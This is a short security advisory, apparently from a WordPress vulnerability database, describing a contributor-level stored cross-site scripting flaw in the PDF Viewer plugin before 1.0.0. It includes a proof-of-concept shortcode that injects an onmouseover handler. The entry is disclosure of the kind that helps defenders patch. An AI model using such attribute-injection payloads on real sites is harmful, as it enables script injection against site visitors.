WordPress Plugin Vulnerabilities

PDF Viewer < 1.0.0 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Proof of Concept

Exploit shortcode:

[pdfviewer height='" onmouseover="alert(1)"']http://localhost/file.pdf[/pdfviewer]

Affects Plugins

Fixed in 1.0.0

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-03 (about 1 years ago)
Added
2023-01-03 (about 1 years ago)
Last Updated
2023-01-03 (about 1 years ago)

Other